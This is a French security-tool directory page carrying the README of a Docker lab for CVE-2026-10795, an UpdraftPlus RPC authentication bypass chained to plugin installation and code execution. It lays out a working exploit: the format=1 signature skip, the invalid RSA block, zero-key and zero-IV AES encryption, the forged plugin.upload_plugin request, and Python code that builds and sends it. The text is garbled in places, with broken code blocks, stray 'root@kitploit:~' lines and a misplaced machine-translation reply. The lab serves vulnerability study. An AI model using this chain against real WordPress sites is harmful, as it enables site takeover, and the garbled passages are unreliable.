Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-10795-Lab | Kitploit
Outils/GitHubGitHub/rootdirective-sec/cve-2026-10795-lab
Authentification et AutorisationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubrootdirective-sec/cve-2026-10795-lab

CVE-2026-10795-Lab

Voir le dépôt
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE Lab : CVE-2026-10795 - Contournement de l'authentification RPC UpdraftCentral d'UpdraftPlus enchaîné à l'installation d'un plugin

Résumé exécutif

Ce dépôt contient un laboratoire Docker local permettant de reproduire et de valider la CVE-2026-10795, une vulnérabilité de contournement d'authentification non authentifiée affectant le plugin WordPress UpdraftPlus via sa couche de communication distante UpdraftCentral.

Le comportement vulnérable se situe dans le flux de traitement des messages RPC d'UpdraftCentral. Dans les versions vulnérables, un message RPC falsifié format=1 peut contourner la vérification de signature, déclencher un chemin de déchiffrement RSA en échec, et atteindre tout de même le déchiffrement symétrique avec un comportement prévisible de clé nulle/IV nul. Cela permet à un message RPC chiffré et conçu avec soin d'être accepté et dispatché comme une commande UpdraftCentral.

Ce laboratoire compare deux versions d'UpdraftPlus :

ServiceVersion d'UpdraftPlusRôleURL
vuln1.26.4Cible de comparaison vulnérablehttp://127.0.0.1:8081
patched1.26.5Cible de comparaison corrigéehttp://127.0.0.1:8082

La chaîne d'exploitation démontrée est :```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint

root@kitploit:~
La vulnérabilité principale est le contournement de l'authentification. Le laboratoire démontre que ce contournement peut être enchaîné vers un impact de type RCE lorsqu'un état de clé UpdraftCentral privilégié est présent, car UpdraftCentral expose des commandes légitimes de gestion de plugins pouvant installer et activer des plugins WordPress.

Il ne s'agit pas d'une vulnérabilité d'injection directe de commandes. La preuve d'exécution de code provient de l'abus de la fonctionnalité d'installation de plugins authentifiée après avoir contourné la frontière d'authentification RPC.

Ce laboratoire est conçu uniquement pour la recherche locale contrôlée, la compréhension au niveau du code source et la démonstration de portfolio.

## Faits vérifiés

| Affirmation                                                             | Preuve                                                                                                | Comment le vérifier dans ce laboratoire                            |
| ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| UpdraftPlus 1.26.4 est vulnérable dans ce laboratoire.                 | Le service vulnérable accepte un message RPC `format=1` forgé et déclenche `plugin.upload_plugin`.    | Exécutez `python3 poc/poc.py --url http://127.0.0.1:8081`.         |
| UpdraftPlus 1.26.5 bloque le message forgé dans ce laboratoire.        | Le service corrigé ne renvoie aucun corps de réponse RPC et ne déclenche pas la commande forgée.      | Exécutez `python3 poc/poc.py --url http://127.0.0.1:8082`.         |
| Le problème est un contournement de l'authentification dans la couche RPC d'UpdraftCentral. | Une requête RPC non authentifiée forgée peut atteindre le déclenchement de commandes dans la version vulnérable. | Comparez le comportement de `--ping` entre les ports `8081` et `8082`. |
| Le laboratoire n'installe pas le plugin marqueur au préalable.         | L'installation ne comprend que WordPress, UpdraftPlus et un état de clé UpdraftCentral local.         | Vérifiez `/wp-json/cve-lab/v1/id` avant d'exécuter le PoC.         |
| Le PoC installe le plugin marqueur via un RPC forgé.                   | Le PoC envoie `plugin.upload_plugin` avec une charge utile de plugin ZIP dans le champ de données RPC. | Exécutez le PoC puis interrogez `/wp-json/cve-lab/v1/id`.          |
| La cible vulnérable atteint un impact de type RCE.                     | Le plugin marqueur expose un point de terminaison codé en dur qui renvoie la sortie de `/usr/bin/id`.  | La cible vulnérable renvoie `uid=33(www-data) gid=33(www-data)`.   |
| La cible corrigée n'installe pas le plugin marqueur.                   | Le point de terminaison du marqueur renvoie `404 rest_no_route` sur le service corrigé.               | Exécutez le PoC contre `http://127.0.0.1:8082`.                    |
| Le laboratoire nécessite un état de clé UpdraftCentral.                | Le déclenchement d'UpdraftCentral dépend d'une entrée de clé locale et de métadonnées associées.      | Consultez `scripts/setup-wordpress.sh`.                            |

## Hypothèses et inconnues

Ce laboratoire préconfigure intentionnellement un état de clé UpdraftCentral local afin de reproduire une configuration de site où le contrôle à distance a été configuré.

L'état de clé préconfiguré est un prérequis du laboratoire, et non la vulnérabilité elle-même. Il permet au laboratoire de parcourir de manière cohérente le chemin vulnérable d'analyse et de déchiffrement RPC.

Le laboratoire ne prétend pas que chaque installation d'UpdraftPlus est immédiatement exploitable. La chaîne démontrée dépend de la présence d'une entrée de clé locale UpdraftCentral associée à un utilisateur WordPress privilégié.

Le laboratoire démontre un impact contrôlé de type RCE en installant un plugin marqueur qui expose un point de terminaison de preuve codé en dur renvoyant la sortie de `/usr/bin/id`. Il ne fournit ni shell web générique, ni paramètre d'exécution arbitraire de commandes, ni shell inverse, ni mécanisme de persistance, ni vol d'identifiants, ni rappel externe.

Le PoC est limité aux seules cibles locales et refuse par défaut les noms d'hôtes non locaux.

## Résumé de la cause racine

La cause racine est une validation incorrecte des messages RPC UpdraftCentral dans les versions vulnérables d'UpdraftPlus.

Le flux RPC vulnérable accepte un message `format=1`. Le chemin `format=1` n'exige pas la même vérification de signature que les formats de messages plus récents.

Le problème de haut niveau est :

```text
1. The WordPress site has an UpdraftCentral key state configured.
``````text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched

Dans un comportement vulnérable, le déchiffrement RSA peut retourner :```text false

root@kitploit:~
Au lieu de rejeter ce résultat de déchiffrement ayant échoué, le flux vulnérable continue et transmet la valeur à la couche de déchiffrement symétrique.

Le schéma vulnérable effectif est :```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);

Le problème est que $sym_key n'est pas validé avant son utilisation.

Lorsque $sym_key est false, la configuration du chiffrement suit un comportement prévisible de clé nulle/IV nul. Cela permet de concevoir une charge utile RPC chiffrée à l'aide d'une clé zéro et d'un IV zéro connus.

La version corrigée ajoute une vérification avant l'utilisation de la clé symétrique :```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }

root@kitploit:~
Cela modifie la frontière de confiance.

Avant le correctif :```text
failed RSA decrypt result could still reach symmetric decrypt

Après le patch :```text failed RSA decrypt result is rejected before command dispatch

root@kitploit:~
Voilà pourquoi le service vulnérable transmet la commande RPC forgée, alors que le service corrigé ne le fait pas.

## Pourquoi un contournement de l'authentification peut conduire à une exécution de code

CVE-2026-10795 est mieux décrite comme un contournement de l'authentification car la faille racine se situe dans la couche d'authentification RPC et de vérification des messages.

Cependant, une fois cette barrière d'authentification contournée, le message RPC contrôlé par l'attaquant peut atteindre des commandes UpdraftCentral privilégiées.

Un chemin de commande important est :```text
plugin.upload_plugin

Cette commande fait partie de la fonctionnalité de gestion des plugins d’UpdraftCentral. Elle accepte une charge utile ZIP de plugin, l’écrit dans un emplacement temporaire, installe le plugin et l’active lorsque demandé.

La chaîne d’impact est donc :```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution

root@kitploit:~
Ceci n'est pas une injection de commande.

Le laboratoire démontre l'exécution de code en installant un plugin marqueur qui expose un point de terminaison unique :```text
/wp-json/cve-lab/v1/id

Le plugin marker n'accepte pas de paramètre de commande. Il s'exécute uniquement:```text /usr/bin/id

root@kitploit:~
Cela permet de garder la preuve sous contrôle et évite de transformer le laboratoire en un shell web à usage général.

## Résumé du correctif source

Le comportement pertinent du correctif est que la version corrigée rejette les clés symétriques invalides avant de tenter de déchiffrer le corps du message RPC.

La validation importante est :```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

Ceci empêche le comportement de repli vulnérable où un échec de déchiffrement RSA peut devenir un chemin de clé symétrique prévisible.

Le résultat pratique est :```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch

UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached

root@kitploit:~
Le laboratoire valide également l'impact en aval en ciblant le chemin réel de la commande de téléversement du plugin UpdraftCentral.

Le comportement de commande pertinent est :```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()

La version corrigée bloque le message forgé avant que ce chemin de commande ne soit atteint.

Analyse au niveau du code source

Cette section explique le chemin vulnérable au niveau du code source et associe chaque étape du PoC au comportement correspondant d'UpdraftPlus / UpdraftCentral.

Le laboratoire ne repose pas sur une fausse route d'application vulnérable. Le comportement vulnérable est atteint via le véritable écouteur RPC d'UpdraftCentral et le véritable chemin de commande de gestion des plugins d'UpdraftCentral.

Les zones de code source importantes sont :```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php

root@kitploit:~
### Création de l'écouteur

Le chemin RPC vulnérable commence lorsque WordPress reçoit une requête POST contenant :```text
udrpc_message
format
key_name

La bibliothèque RPC enregistre un écouteur sur le hook WordPress wp_loaded lorsque ces champs POST existent.

Conceptuellement, le flux est le suivant :```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }

root@kitploit:~
Cela signifie que l'attaquant n'a pas besoin de connaître un endpoint REST spécial ou une URL d'administration. La requête RPC forgée est envoyée comme une requête POST normale à la racine du site WordPress.

Le PoC envoie :```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>

The request reaches the same listener path used by legitimate UpdraftCentral remote communication.

Correspondance des noms de clés

UpdraftCentral stocke les clés de télécommande locales dans les options WordPress. Dans ce laboratoire, le script d'installation initialise un état de clé contrôlé pour les cibles vulnérables et corrigées.

Le nom de clé pertinent est :```text 0.central.updraftplus.com

root@kitploit:~
Ce format est produit par la logique d'indicateur clé d'UpdraftCentral:```php
private function indicator_name_from_index($index) {
    return $index.'.central.updraftplus.com';
}

L'écouteur ne continue que si le champ POST non chiffré correspond à l'indicateur de clé attendu :```php if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) { return; }

root@kitploit:~
Le PoC définit donc :```python
KEY_NAME = "0.central.updraftplus.com"

Ce n'est pas la vulnérabilité. C'est un prérequis de laboratoire qui permet au test d'exercer le chemin vulnérable d'analyse et de déchiffrement RPC de manière reproductible.

Gestion des formats et contournement de signature

UpdraftCentral prend en charge les formats de messages. La distinction importante est :```text format=1 legacy path format=2 signed message path

root@kitploit:~
Dans le chemin de code vulnérable, la vérification de signature n'a lieu que lorsque le format est supérieur ou égal à 2 :```php
if ($format >= 2) {
    if (empty($_POST['signature'])) {
        die;
    }

    if (!$this->key_remote) {
        die;
    }

    if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
        die;
    }
}

Parce que le PoC utilise :```text format=1

root@kitploit:~
cette étape de vérification de signature est ignorée.

C'est la limite du contournement d'authentification.

Un message légitime `format=2` est censé inclure une signature valide. Le message falsifié `format=1` n'en a pas besoin, donc le message contrôlé par l'attaquant peut continuer vers le chemin de déchiffrement.

### Flux de déchiffrement vulnérable

Après les vérifications du format et du nom de clé, l'écouteur déchiffre le `udrpc_message` soumis.

Le flux de déchiffrement vulnérable dans UpdraftPlus 1.26.4 est effectivement :```php
$rsa->loadKey($this->key_local);

$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);

$rij->setKey($sym_key);

return $rij->decrypt($ciphertext);

Le bug se situe entre ces deux opérations:```php $sym_key = $rsa->decrypt($sym_key); $rij->setKey($sym_key);

root@kitploit:~
Si le déchiffrement RSA échoue, `$rsa->decrypt()` peut retourner :```php
false

La version vulnérable ne rejette pas cette valeur avant de la transmettre à :```php $rij->setKey($sym_key);

root@kitploit:~
La version corrigée résout ce problème en ajoutant une validation :```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

Ce garde est le correctif pertinent pour la sécurité. Il empêche un résultat d'échec de déchiffrement RSA d'atteindre la configuration du chiffrement symétrique.

Pourquoi false devient prévisible

Le comportement vulnérable est dangereux car setKey(false) n'échoue pas de manière sûre dans ce chemin de phpseclib.

Le code du chiffrement calcule la longueur de clé à partir de la clé fournie :```php $this->setKeyLength(strlen($key) << 3); $this->key = $key;

root@kitploit:~
Quand `$key` est `false`, `strlen(false)` se comporte comme un cas de clé de longueur nulle.

La logique de longueur de clé Rijndael arrondit les tailles de clé très petites à une longueur minimale valide :```php
case $length <= 128:
    $this->key_length = 16;
    break;

La configuration du chiffrement remplit ensuite la clé et l'IV avec des octets nuls :```php $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");

$this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");

root@kitploit:~
Ainsi, l'attaquant peut modéliser le comportement de déchiffrement vulnérable comme suit:```text
AES/Rijndael-CBC
key = 16 null bytes
iv  = 16 null bytes

C'est pourquoi le PoC peut chiffrer localement une commande JSON RPC et faire en sorte que la cible vulnérable la déchiffre avec succès.

Structure du message utilisée par le PoC

La fonction de déchiffrement vulnérable s'attend à ce que le message chiffré contienne :```text 3 hex chars length of RSA-encrypted symmetric key, as base64 text N chars base64 RSA-encrypted symmetric key 16 hex chars length of ciphertext, as base64 text M chars base64 encrypted message body

root@kitploit:~
Le PoC construit cette structure manuellement :```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")

sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"

udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

Le bloc RSA est intentionnellement invalide :```python BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

root@kitploit:~
Sur UpdraftPlus 1.26.4, ce bloc RSA invalide fait échouer le déchiffrement RSA, mais l'échec n'est pas rejeté.

Sur UpdraftPlus 1.26.5, le résultat de déchiffrement échoué est rejeté par la nouvelle protection et le message falsifié n'atteint pas la répartition des commandes.

### Message JSON RPC interne

Le message interne chiffré est une commande JSON classique de type UpdraftCentral.

Pour la validation ping, le PoC utilise :```json
{
  "command": "ping",
  "time": 1710000000,
  "key_name": "0.central.updraftplus.com",
  "rand": 123456
}

Pour la preuve d'identité par défaut, le PoC utilise :```json { "command": "plugin.upload_plugin", "time": 1710000000, "key_name": "0.central.updraftplus.com", "rand": 123456, "data": { "filename": "cve-2026-10795-id-marker.zip", "data": "", "activate": true } }

root@kitploit:~
Le `key_name` apparaît à la fois à l'extérieur et à l'intérieur du message chiffré. L'écouteur vérifie que les deux correspondent :```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
    die;
}

C'est pourquoi le PoC doit inclure le même nom de clé aux deux endroits.

Validation JSON avant l'envoi

Après avoir déchiffré le message, l'écouteur l'analyse comme JSON :```php $udrpc_message = json_decode($udrpc_message, true);

root@kitploit:~
Le message doit contenir une commande valide:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
    die;
}

Il doit également contenir un horodatage :```php if (empty($udrpc_message['time'])) { die; }

root@kitploit:~
L'horodatage doit se trouver dans la fenêtre de rejeu autorisée :```php
$time_difference = absint($udrpc_message['time'] - time());

if ($time_difference > $this->maximum_replay_time_difference) {
    die;
}

The PoC définit donc le champ interne time à l'heure actuelle.

Distribution des commandes

Une fois le message déchiffré et validé, UpdraftCentral distribue la commande.

Les commandes utilisent un format de préfixe :```text .

root@kitploit:~
Par exemple :```text
plugin.upload_plugin

Cela devient:```text prefix = plugin method = upload_plugin

root@kitploit:~
L'écouteur résout la classe de commande à partir du préfixe, puis appelle la méthode dynamiquement :```php
$msg = apply_filters(
    'updraftcentral_listener_udrpc_action',
    call_user_func(array($command_class, $command), $data, $extra_info),
    $command_class,
    $class_prefix,
    $command,
    $data,
    $extra_info
);

Pour la commande PoC :```text plugin.upload_plugin

root@kitploit:~
le listener appelle :```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)

C'est pourquoi le PoC n'a pas besoin d'un puits d'injection de commande directe. Il atteint une commande privilégiée légitime d'UpdraftCentral après avoir contourné la frontière d'authentification RPC.

Contexte utilisateur et vérifications de capacités

L'écouteur peut définir l'utilisateur WordPress actuel à partir des métadonnées de clé UpdraftCentral :```php if (!empty($extra_info['user_id'])) { wp_set_current_user($extra_info['user_id']); }

root@kitploit:~
Dans ce laboratoire, la clé seedée contient :```text
extra_info.user_id = 1

Ceci simule une clé UpdraftCentral configurée associée à l'utilisateur administrateur créé lors de l'installation de WordPress. Cela importe car le chemin de téléversement du plugin vérifie les capacités WordPress :```php if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) { $permission_error = true; }

root@kitploit:~
Donc, le contournement à lui seul fait entrer la commande forgée dans la couche RPC. Les métadonnées de clé injectées déterminent le contexte utilisateur WordPress dans lequel la commande s'exécute.

Dans ce laboratoire, la commande s'exécute dans le contexte administrateur car la clé est associée à l'ID utilisateur 1.

### Sink de téléversement de plugin

La méthode de commande est :```php
public function upload_plugin($params) {
    return $this->process_chunk_upload($params, 'plugin');
}

Le gestionnaire d'upload partagé attend les données d'upload du plugin :```text filename data activate

root@kitploit:~
Le PoC envoie :```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

Le gestionnaire de téléversement écrit le contenu du ZIP dans un fichier temporaire :```php $result = file_put_contents( $upload_dir.'/'.$filename, base64_decode($params['data']), FILE_APPEND | LOCK_EX );

root@kitploit:~
Pour un téléversement non fragmenté, l'installation s'effectue immédiatement :```php
$install_now = true;

Le gestionnaire construit ensuite un chemin ZIP :```php $zip_filepath = $upload_dir.'/'.$filename;

root@kitploit:~
et l'installe à l'aide de l'outil de mise à jour du plugin UpdraftCentral :```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);

Si l'installation réussit et que activate est vrai, le code active le plugin installé :```php if ((bool) $params['activate'] && !$is_active) { $activate = activate_plugin($data['slug']); }

root@kitploit:~
Une réponse d'installation réussie contient :```php
return $this->_response(
    array(
        'installed' => true,
        'installed_data' => $data,
    )
);

C'est la raison au niveau du code source pour laquelle un contournement d'authentification RPC forgé peut être enchaîné à l'installation et à l'activation de plugins WordPress.

Plugin Marqueur

Le plugin marqueur est généré par le PoC en mémoire. Il n'est pas préinstallé par la configuration Docker.

Le ZIP généré contient :```text cve-2026-10795-id-marker/ └── cve-2026-10795-id-marker.php

root@kitploit:~
Le plugin marker enregistre une route REST :```text
/wp-json/cve-lab/v1/id

L'endpoint renvoie :```text lab plugin proof uid gid user id_output

root@kitploit:~
La seule commande exécutée par le plugin marker est codée en dur :```php
shell_exec('/usr/bin/id 2>&1');

Il n'existe pas de paramètre cmd contrôlé par l'utilisateur.

C'est intentionnel. Le laboratoire prouve l'exécution de code via plugin tout en évitant un shell web générique.

Pourquoi la cible corrigée renvoie 404

Le service corrigé reçoit la même requête forgée et dispose du même état de clé initialisé.

La différence réside dans le garde de déchiffrement corrigé :```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }

root@kitploit:~
Comme la preuve de concept (PoC) fournit intentionnellement un bloc RSA invalide, la clé symétrique déchiffrée est invalide.

Dans UpdraftPlus 1.26.5, le message forgé s'arrête avant l'analyse JSON et avant la répartition des commandes.

Par conséquent :```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route

Ce comportement corrigé prouve que le résultat du laboratoire dépend du chemin de code RPC vulnérable d'UpdraftPlus, et non du harnais Docker.

Correspondance PoC-vers-source

Comment le code du PoC correspond à la vulnérabilité

Le PoC commence par refuser les cibles non locales :```python allowed_hosts = {"127.0.0.1", "localhost", "::1"}

if host not in allowed_hosts: raise ValueError("Refusing non-local target")

root@kitploit:~
Cela maintient le script limité au laboratoire Docker.

Le PoC construit le message RPC interne :```python
inner = {
    "command": command,
    "time": int(time.time()),
    "key_name": KEY_NAME,
    "rand": random.randint(1, 2_147_483_647),
}

Si la preuve d'identité par défaut est utilisée, la commande est :```python command = "plugin.upload_plugin"

root@kitploit:~
et les données sont :```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

Le PoC chiffre ensuite le JSON interne avec l'état de chiffrement prévisible et vulnérable :```python ZERO_KEY = b"\x00" * 16 ZERO_IV = b"\x00" * 16

cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))

root@kitploit:~
Ceci correspond à la conséquence vulnérable du passage de `false` dans la configuration du chiffrement symétrique.

Le PoC utilise intentionnellement un bloc RSA invalide :```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

Le udrpc_message résultant est construit dans le même format préfixé par la longueur qu'attend la fonction de déchiffrement RPC :```python sym_key_len = f"{len(bad_sym_key_b64):03x}" ciphertext_len = f"{len(ciphertext_b64):016x}"

return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

root@kitploit:~
Enfin, le PoC envoie la requête RPC forgée :```python
fields = {
    "format": "1",
    "key_name": KEY_NAME,
    "udrpc_message": build_udrpc_message(command, data),
}

requests.post(target, data=fields, timeout=timeout)

Sur la cible vulnérable, la réponse du serveur contient un corps de réponse JSON valide de style RPC. Le PoC traite cela comme :```text RPC DISPATCHED

root@kitploit:~
Après l'envoi, le PoC vérifie l'impact en interrogeant le endpoint marqueur :```text
GET /wp-json/cve-lab/v1/id

Si le plugin marker a été installé et activé, l'endpoint renvoie :```text uid=33(www-data) gid=33(www-data) groups=33(www-data)

root@kitploit:~
Ce résultat prouve que le message RPC non authentifié forgé a atteint un chemin d'installation de plugin privilégié et a activé le code de plugin fourni par l'attaquant dans le laboratoire local.

## Ce que le laboratoire prouve

Ce laboratoire prouve la chaîne technique suivante :```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.

Le laboratoire ne prouve pas que chaque installation est exploitable sans prérequis.

Le prérequis nécessaire pour cette démonstration est :```text an existing UpdraftCentral local key state associated with a privileged WordPress user

root@kitploit:~
La configuration Docker crée ce prérequis dans les deux cibles afin que la différence entre le comportement vulnérable et le comportement corrigé puisse être testée équitablement.

## Architecture du laboratoire

Le laboratoire exécute deux installations WordPress isolées via Docker Compose.```text
.
├── docker-compose.yml
├── scripts/
│   └── setup-wordpress.sh
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── requirements.txt
├── README.md
└── .gitignore

Les deux services WordPress utilisent des bases de données distinctes et des versions distinctes d'UpdraftPlus :

Services exposés par défaut :```text Vulnerable target: http://127.0.0.1:8081 Patched target: http://127.0.0.1:8082

root@kitploit:~
Le processus de configuration initialise le même état de clé UpdraftCentral dans les deux services :```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1

Cela donne aux deux cibles le même état prérequis. La différence de comportement provient du code UpdraftPlus vulnérable par rapport au code corrigé, et non d'une configuration de laboratoire différente.

Exigences

  • Docker Desktop ou Docker Engine
  • Docker Compose v2
  • Python 3
  • Prise en charge des environnements virtuels Python
  • Accès Internet pendant la construction de l'image Docker
  • Paquets Python listés dans requirements.txt

Dépendances Python :```text requests urllib3<2 pycryptodome

root@kitploit:~
La contrainte `urllib3<2` évite les avertissements liés à LibreSSL sur certaines versions de Python sous macOS.

## Démarrage rapide

Commencez à partir d'un état de laboratoire propre :```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Surveiller les journaux d’installation :```bash docker compose logs -f vuln_setup patched_setup

root@kitploit:~
Indicateurs de configuration attendus:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln

I don't see any content to translate — the input after "INPUT:" is empty. Please provide the chunk text you'd like translated into French.```text Seeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.5 Setup complete for CVE-2026-10795 patched

root@kitploit:~
Vérifier les services en cours d'exécution :```bash
docker compose ps

Créez et activez un environnement virtuel Python :```bash python3 -m venv venv source venv/bin/activate pip install -r requirements.txt

root@kitploit:~
Exécutez la preuve d'identité par défaut contre la cible vulnérable :```bash
python3 poc/poc.py --url http://127.0.0.1:8081

Exécutez la même preuve contre la cible corrigée :```bash python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
Le script exige intentionnellement l'option `--url`. Cela force le testeur à choisir explicitement la cible au lieu d'attaquer automatiquement les deux services.

## Utilisation du PoC

Comportement par défaut :```bash
python3 poc/poc.py --url <local_target_url>

Exemple de cible vulnérable :```bash python3 poc/poc.py --url http://127.0.0.1:8081

root@kitploit:~
Exemple de cible corrigée :```bash
python3 poc/poc.py --url http://127.0.0.1:8082

Validation facultative ping uniquement:```bash python3 poc/poc.py --ping --url http://127.0.0.1:8081 python3 poc/poc.py --ping --url http://127.0.0.1:8082

root@kitploit:~
Supported options:

| Option      | Requis | Objectif                                                 |
| ----------- | ------ | -------------------------------------------------------- |
| `--url`     | Oui    | URL cible du laboratoire local                           |
| `--ping`    | Non    | Exécuter une validation de ping falsifié inoffensif au lieu d'une preuve d'identité |
| `--timeout` | Non    | Délai d'expiration HTTP en secondes. Par défaut : `15`   |

Hôtes cibles acceptés :```text
127.0.0.1
localhost
::1

Le PoC refuse les cibles non locales par défaut.

Comment fonctionne le PoC

Le PoC s'exécute depuis la machine hôte et envoie des requêtes HTTP aux services Docker exposés.

L'action par défaut du PoC est la preuve d'identité.

Le flux de haut niveau est :```text

  1. Receive explicit --url target from the tester
  2. Refuse non-local targets
  3. Build a marker WordPress plugin ZIP in memory
  4. Create a forged UpdraftCentral RPC message
  5. Send command plugin.upload_plugin through format=1
  6. Trigger the vulnerable decrypt/dispatch path on UpdraftPlus 1.26.4
  7. Install and activate the marker plugin
  8. Request /wp-json/cve-lab/v1/id
  9. Print the hard-coded /usr/bin/id output
root@kitploit:~
Le plugin marqueur n'est pas stocké dans le référentiel en tant que fichier de plugin autonome. Il est généré en mémoire par le PoC.

La commande RPC forgée est :```text
plugin.upload_plugin

Les données RPC contiennent :```text filename = cve-2026-10795-id-marker.zip data = base64(plugin_zip) activate = true

root@kitploit:~
Le PoC chiffre le message JSON-RPC interne en utilisant :```text
AES-CBC
key = 16 null bytes
iv  = 16 null bytes

Il inclut également un bloc de clé symétrique chiffré RSA délibérément invalide.

Sur la version vulnérable, l'échec du déchiffrement RSA n'est pas rejeté. Le message se poursuit dans le chemin de déchiffrement prévisible à clé nulle et la commande forgée est exécutée.

Sur la version corrigée, la clé symétrique invalide est rejetée et la commande forgée n'est pas exécutée.

Pourquoi --ping existe

L'option --ping est une aide au débogage.

Elle valide uniquement le contournement cryptographique et la limite de dispatch RPC. Elle ne télécharge pas de plugin et n'exécute pas /usr/bin/id.

Utilisez --ping lorsque la preuve d'ID par défaut ne fonctionne pas et que l'échec doit être isolé.

Si --ping échoue, le problème se situe probablement avant l'exécution de la commande :```text wrong key state wrong key_name message format issue encryption mismatch listener not active patched behavior

root@kitploit:~
Si `--ping` réussit mais que la preuve d'ID échoue, le problème vient probablement après l'envoi :```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue

Comportement attendu du ping :```text 1.26.4 vulnerable target → PING DISPATCHED 1.26.5 patched target → PING NOT DISPATCHED

root@kitploit:~
## Résultats attendus

### Cible vulnérable

Commande :```bash
python3 poc/poc.py --url http://127.0.0.1:8081

Signal vulnérable attendu :```text CVE-2026-10795 local lab-only ID validation Scope : localhost / Docker lab only Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin Safety : no generic web shell, no cmd parameter, no external targets Key name : 0.central.updraftplus.com Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php

Target : http://127.0.0.1:8081/ Command : plugin.upload_plugin Decision : RPC DISPATCHED HTTP status : 200 Body bytes : non-zero RPC JSON seen : True Resp. format : 2

